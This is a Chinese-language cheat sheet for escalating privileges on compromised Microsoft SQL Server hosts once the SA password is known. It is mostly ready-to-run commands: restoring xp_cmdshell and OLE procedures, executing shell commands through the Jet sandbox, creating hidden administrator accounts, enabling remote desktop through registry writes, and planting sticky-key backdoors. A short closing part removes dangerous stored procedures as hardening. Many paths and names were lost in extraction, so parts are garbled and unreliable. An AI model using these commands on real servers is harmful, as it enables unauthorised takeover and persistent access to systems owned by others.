admin管理员组

文章数量:1530517

2024年7月21日发(作者:)

net net1被禁止时执行CMD命令

第一步:dir /s /p 或者 dir /s /p

第二步:C: user 123 123 /add

第三步:C: localgroup administrators

123 /add

◆◆◆◆◆◆◆◆◆◆◆◆◆◆

沙盘模式提权

禁止

select * from

openrowset('.4.0',';database=c:

','select shell("cacls c: /e /t /g everyone:F')

net net1都被禁用

select * from

openrowset('.4.0',';database=c:

','select shell("xcopy /y")')

如果cmd被禁用

select * from

openrowset('.4.0',';database=c:

','select shell("net user user pass /add")')

◆◆◆◆◆◆◆◆◆◆◆◆◆◆

除了其他的都可以用这命令修复

第一步先删除:

drop procedure sp_addextendedproc

drop procedure sp_oacreate

exec sp_dropextendedproc 'xp_cmdshell'

服务器: 消息 3701,级别 11,状态 5,行 1

无法 除去 过程 'sp_addextendedproc',因为它在系统目录中不存在。

服务器: 消息 3701,级别 11,状态 5,过程 sp_dropextendedproc,行 18

无法 除去 过程 'xp_cmdshell',因为它在系统目录中不存在。

第二步恢复:

dbcc addextendedproc ("sp_oacreate","")

dbcc addextendedproc ("xp_cmdshell","")

直接恢复,不管sp_addextendedproc是不是存在

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

1.未能找到存储过程'pcmdshell'之解决方法:

EXEC sp_addextendedproc xp_cmdshell,@dllname =''declare @o

int

sp_addextendedproc 'xp_cmdshell',''

◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复sp_addextendedproc语句:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

GO

◆◆◆◆◆◆◆◆◆◆◆◆◆

2 无法装载 DLL 或该DLL所引用的某一DLL。原因126(找不到指定模

块。)

恢复方法:查询分离器连接后,

sp_dropextendedproc "xp_cmdshell"

sp_addextendedproc 'xp_cmdshell', ''

修复(先用文件查看下备份的目录下x86bin,然后把下面目录替换)

第一步

exec sp_dropextendedproc 'xp_cmdshell'

第二步

dbcc addextendedproc ("xp_cmdshell","c:")

◆◆◆◆◆◆◆◆◆◆◆◆◆

修复:

Error Message:无法装载 DLL 或该 DLL 所引用的某一 DLL。原因:

126(找不到指定的模块。)。

修复(先用文件查看下备份的目录下x86bin,然后把下面目录替换)

第一步

exec sp_dropextendedproc 'xp_cmdshell'

第二步

dbcc addextendedproc ("xp_cmdshell","c:")

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

3.无法在库 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

exec sp_dropextendedproc 'xp_cmdshell'

exec sp_addextendedproc 'xp_cmdshell',''

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

4.直接添加帐户法

删除:

exec master..sp_dropextendedproc sp_oamethod

exec master..sp_dropextendedproc sp_oacreate

恢复:

exec sp_addextendedproc sp_OAMethod,''

exec sp_addextendedproc sp_OACreate,''

直接添加帐户命令:

declare @shell int exec sp_oacreate '',@shell output exec

sp_oamethod

@shell,'run',null,'c: /c net user sin sinhack /add'

declare @shell int exec sp_oacreate '',@shell output exec

sp_oamethod @shell,'run',null,'c:/c net localgroup

administrators sin /add'

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

Cmd 命令开3389:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 0 /f

1.查询终端端口

REG query HKLMSYSTEMCurrentControlSetControlTerminal"

"ServerWinStationsRDP-Tcp /v PortNumber

2.开启XP&2003终端服务

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v

fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.更改终端端口为2008(0x7d8)默认为3389(0xD3D)

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal"

"ServerWdsrdpwdTdstcp /v PortNumber /t REG_DWORD /d 0x7d8 /f

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal"

"ServerWinStationsRDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f

4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制

REG ADD

HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPoli

cyStandardProfileGloballyOpenPortsList

3389:TCP:*:Enabled:@,-22009 /f

/v 3389:TCP /t REG_SZ /d

sql语句开3389

开3389:

exec

_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetCont

rolTerminal Server','fDenyTSConnections','REG_DWORD',0;--

关3389:

exec

_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetCont

rolTerminal Server','fDenyTSConnections','REG_DWORD',1;

查看3389端口

exec xp_regread

'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal

ServerWinStationsRDP-Tcp','PortNumber'

查看系统版本

type c:

普通CMD后门

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows

File Execution NTCurrentVersionImage

','debugger','reg_sz','c:'

5下shift后门命令

declare @o int

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o,

'copyfile',null,'c:' ,'c:';

declare @o int

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o,

'copyfile',null,'c:' ,'c:windowssystem32dllcachese

';

copy c: c:

copy

c:

c:

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

5.恢复时一些常用的SQL语句:

利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自

己):

use master

exec sp_addextendedproc xp_cmdshell,'xp_'

exec sp_addextendedproc xp_dirtree,''

exec sp_addextendedproc xp_enumgroups,''

exec sp_addextendedproc xp_fixeddrives,''

exec sp_addextendedproc xp_loginconfig,''

exec sp_addextendedproc xp_enumerrorlogs,''

exec sp_addextendedproc xp_getfiledetails,''

exec sp_addextendedproc sp_OACreate,''

exec sp_addextendedproc sp_OADestroy,''

exec sp_addextendedproc sp_OAGetErrorInfo,''

exec sp_addextendedproc sp_OAGetProperty,''

exec sp_addextendedproc sp_OAMethod,''

exec sp_addextendedproc sp_OASetProperty,''

exec sp_addextendedproc sp_OAStop,''

exec sp_addextendedproc xp_regaddmultistring,''

exec sp_addextendedproc xp_regdeletekey,''

exec sp_addextendedproc xp_regdeletevalue,''

exec sp_addextendedproc xp_regenumvalues,''

exec sp_addextendedproc xp_regread,''

exec sp_addextendedproc xp_regremovemultistring,''

exec sp_addextendedproc xp_regwrite,''

exec sp_addextendedproc xp_availablemedia,''

恢复cmdshell:

exec sp_addextendedproc xp_cmdshell ,@dllname =''

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

命令查询注册表粘滞键是否被劫持

exec

'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows

p_regread

NTCurrentVersionImage File Execution ','Debugger'

命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其

他命令)

xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows

NTCurrentVersionImage File Execution ',

'Debugger','REG_SZ','C:'

命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows

NTCurrentVersionImage File Execution '

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'_cmdshell' 的访问,因为

此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用

sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL

Server 联机丛书中的 "外围应用配置器"。

;EXEC sp_configure 'show advanced options', 1 --

;RECONFIGURE WITH OVERRIDE --

;EXEC sp_configure 'xp_cmdshell', 1 --

;RECONFIGURE WITH OVERRIDE --

;EXEC sp_configure 'show advanced options', 0 --

◆◆◆◆◆◆◆◆◆◆◆◆◆

分析器执行的语句:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC

sp_configure 'xp_cmdshell', 1;RECONFIGURE;

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!

EXEC _regwrite

'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0Engines','SandBoxMode','RE

G_DWORD',0

Select * From

OpenRowSet('.4.0',';Database=c:windowssystem32iasias.m

db','select shell("net user admin$ admin /add")');

Select * From

OpenRowSet('.4.0',';Database=c:windowssystem32iasias.m

db','select shell("net localgroup administrators admin$ /add")');

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复xp_cmdshell

sp_addextendedproc xp_cmdshell,@dllname=''

sp_addextendedproc 'xp_cmdshell',''

添加存储过程

sp_addextendedproc 'sp_oacreate','

sp_addextendedproc 'xp_lake2', 'd:'

sp_dropextendedproc xp_lake2

加账号

EXEC xp_lake2 'net user > d:'

EXEC xp_lake2 'net user admin$ admin /add'

EXEC xp_lake2 'net localgroup administrators admin$ /add'

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

3389 SHIFTSA沙盒模式提权-----

----------------------

p_regwrite

'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','

REG_DWORD',0;

-------------------------------------------------------

Select * From

OpenRowSet('.4.0',';Database=c:windowssystem32iasias.m

db','select shell("net user sql$ 123 /add")');

-------------------------------------------------------

Select * From

OpenRowSet('.4.0',';Database=c:windowssystem32iasias.m

db','select shell("net localgroup administrators sql$ /add")');

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

四.终极方法:

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate '',@shell output

exec sp_oamethod @shell,'run',null,'c: /c net user

123 123 /add'

declare @shell int exec sp_oacreate '',@shell output exec

sp_oamethod

@shell,'run',null,'c: /c net localgroup administrators

123 /add'

xp或2003server系统:

declare @shell int exec sp_oacreate '',@shell output exec

sp_oamethod

@shell,'run',null,'c: /c net user 123 123 /add'

declare @shell int exec sp_oacreate '',@shell output exec

sp_oamethod

@shell,'run',null,'c:

administrators 123 /add'

/c net localgroup

p_regwrite

'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','

REG_DWORD',1

select * from

openrowset('.4.0',';database=c:

','select shell(" /c net user admin 1234 /add")')

select * from

openrowset('.4.0',';database=c:

','select shell(" /c net localgroup administrators admin /add")')

declare @o int

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o,

'copyfile',null,'c:' ,'c:';

declare @oo int

exec sp_oacreate 'stemobject', @oo out

exec sp_oamethod @oo,

'copyfile',null,'c:' ,'c:windowssystem32dllcachese

';

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

declare @shell int exec sp_oacreate '',@shell output

sp_oamethod @shell,'run',null,'c: /c net user'

exec

执行SQL语句时发生错误!

错 误描述:SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程

'_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系

统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用

'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应

用配置器"。

exec master..sp_addextendedproc 'xp_cmdshell',''--

成功。

再执行SQL语句

[Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中

出错。调用 'CreateProcess' 失败,错误代码: '5'。

解决方案:

遇到sql server 2005 ,恢复xp_cmdshell的办法

SQL Server 已封鎖元件 'xp_cmdshell' 的 程序 '_cmdshell' 之存取,因為此

元件已經由此伺服器的安全性組態關閉。系統管理員可以使用 sp_configure 來啟用

'xp_cmdshell' 的使用。如需有關啟用 'xp_cmdshell' 的詳細資訊,請參閱《SQL Server

線上叢書》中的<介面區組態>(Surface Area Configuration)。

用下面一句话就可以了解决了。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC

sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC

sp_configure 'xp_cmdshell', 0;RECONFIGURE;

按照上面的方法试了一下,不行,很郁闷,无聊中就用下面命令查看注册表中的启动

项目,然后在看,xp_cmdshell竟然恢复成功了.

Exec xp_regenumvalues

'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

在获得SA密码后,往往因为服务器管理者或”前人”将和被限制

使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用

来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:

set wsnetwork=CreateObject("K")

os="WinNT://"&erName

Set ob=GetObject(os) '得到adsi接口,绑定

Set oe=GetObject(os&"/Administrators,group") '属性,admin组

Set od=("user","test") '建立用户

sword "1234" '设置密码

o '保存

Set of=GetObject(os&"/test",user) '得到用户

os&"/test"

将上面的代码保存为,然后执行,命令为“cscript ”,这样就会在系统添

加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

("K")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

ComputerName'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

(os&"/Administrators,group")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=

("user","test")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'sword "1234"'

exec @ret = sp_oamethod @f, 'writeline', NULL,'o '

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

(os&"/test",user) '

exec @ret = sp_oamethod @f, 'writeline', NULL,' os&"/test"'

执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放

在一起执行,否则会提示“c:正被另一个程序运行”而无法成功添加用户:

p_cmdshell 'cscript c:'

如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合

服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将

代码写到中,代码格式为:

p_cmdshell 'echo set

wsnetwork=CreateObject("K")

>>'

不过,不知道为什么所有带“&”字符的命令行都无法写入,感兴趣的朋友可以

尝试解决一下。

使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。

出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:

Exec

'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0

_regwrite

Engines','SandBoxMode','REG_DWORD',1

然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:

select * from openrowset('.4.0',';database=c:windows

','select shell(" /c net user test 1234 /add")')

select * from openrowset('.4.0',';database=c:windows

','select shell(" /c net localgroup

administrators test /add")')

不同的操作系统,路径也不一样,需要根据情况做修改:

NT/2K: c:winntsystem32

XP/2003: c:windowssystem32

另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命

令打开:

开启XP_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC

sp_configure

'xp_cmdshell', 1;RECONFIGURE;

开启'OPENROWSET':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec

sp_configure

'Ad Hoc Distributed Queries',1;RECONFIGURE;

开启'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec

sp_configure

'Ole Automation Procedures',1;RECONFIGURE;

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

删除sql危险存储:

DROP PROCEDURE sp_makewebtask

exec master..sp_dropextendedproc xp_cmdshell

exec master..sp_dropextendedproc xp_dirtree

exec master..sp_dropextendedproc xp_fileexist

exec master..sp_dropextendedproc xp_terminate_process

exec master..sp_dropextendedproc sp_oamethod

exec master..sp_dropextendedproc sp_oacreate

exec master..sp_dropextendedproc xp_regaddmultistring

exec master..sp_dropextendedproc xp_regdeletekey

exec master..sp_dropextendedproc xp_regdeletevalue

exec master..sp_dropextendedproc xp_regenumkeys

exec master..sp_dropextendedproc xp_regenumvalues

exec master..sp_dropextendedproc sp_add_job

exec master..sp_dropextendedproc sp_addtask

exec master..sp_dropextendedproc xp_regread

exec master..sp_dropextendedproc xp_regwrite

exec master..sp_dropextendedproc xp_readwebtask

exec master..sp_dropextendedproc xp_makewebtask

exec master..sp_dropextendedproc xp_regremovemultistring

exec master..sp_dropextendedproc sp_OACreate

DROP PROCEDURE sp_addextendedproc

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:

第一:

create procedure sp_addextendedproc --- 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */ @dllname

varchar(255)/* name of DLL containing function */ as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,'sp_addextendedproc')

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) -- sp_addextendedproc

GO

第二:

use master

exec sp_addextendedproc xp_cmdshell,'xp_'

exec sp_addextendedproc xp_dirtree,''

exec sp_addextendedproc xp_enumgroups,''

exec sp_addextendedproc xp_fixeddrives,''

exec sp_addextendedproc xp_loginconfig,''

exec sp_addextendedproc xp_enumerrorlogs,''

exec sp_addextendedproc xp_getfiledetails,''

exec sp_addextendedproc sp_OACreate,''

exec sp_addextendedproc sp_OADestroy,''

exec sp_addextendedproc sp_OAGetErrorInfo,''

exec sp_addextendedproc sp_OAGetProperty,''

exec sp_addextendedproc sp_OAMethod,''

exec sp_addextendedproc sp_OASetProperty,''

exec sp_addextendedproc sp_OAStop,''

exec sp_addextendedproc xp_regaddmultistring,''

exec sp_addextendedproc xp_regdeletekey,''

exec sp_addextendedproc xp_regdeletevalue,''

exec sp_addextendedproc xp_regenumvalues,''

exec sp_addextendedproc xp_regread,''

exec sp_addextendedproc xp_regremovemultistring,''

exec sp_addextendedproc xp_regwrite,''

exec sp_addextendedproc xp_availablemedia,''

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

删除扩展存储过过程xp_cmdshell的语句:

exec sp_dropextendedproc 'xp_cmdshell'

◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =''

◆◆◆◆◆◆◆◆◆◆◆◆◆

开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =''

◆◆◆◆◆◆◆◆◆◆◆◆◆

判断存储扩展是否存在

select count(*) from ects where xtype='x' and

name='xp_cmdshell'

返回结果为1就ok

◆◆◆◆◆◆◆◆◆◆◆◆◆

恢复xp_cmdshell

exec endedproc 'xp_cmdshell','';select count(*)

from ects where xtype='x' and name='xp_cmdshell'

返回结果为1就ok

◆◆◆◆◆◆◆◆◆◆◆◆◆

否则上传

exec

'xp_cmdshell','c:'

endedproc

◆◆◆◆◆◆◆◆◆◆◆◆◆

堵上cmdshell的sql语句

sp_dropextendedproc "xp_cmdshell

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

一.更改sa口令方法:

用sql综合利用工具连接后,执行命令:

exec sp_password NULL,'新密码','sa'

(提示:慎用!)

◆◆◆◆◆◆◆◆◆◆◆◆◆

二.简单修补sa弱口令.

方法1:查询分离器连接后执行:

if exists (select * from

ects where id = object_id(N'[dbo].[xp_cmdshell]') and

OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

◆◆◆◆◆◆◆◆◆◆◆◆◆

方法2:查询分离器连接后

第一步执行:use master

第二步执行:sp_dropextendedproc 'xp_cmdshell'

然后按F5键命令执行完毕

◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆

本文标签: 命令系统执行添加查询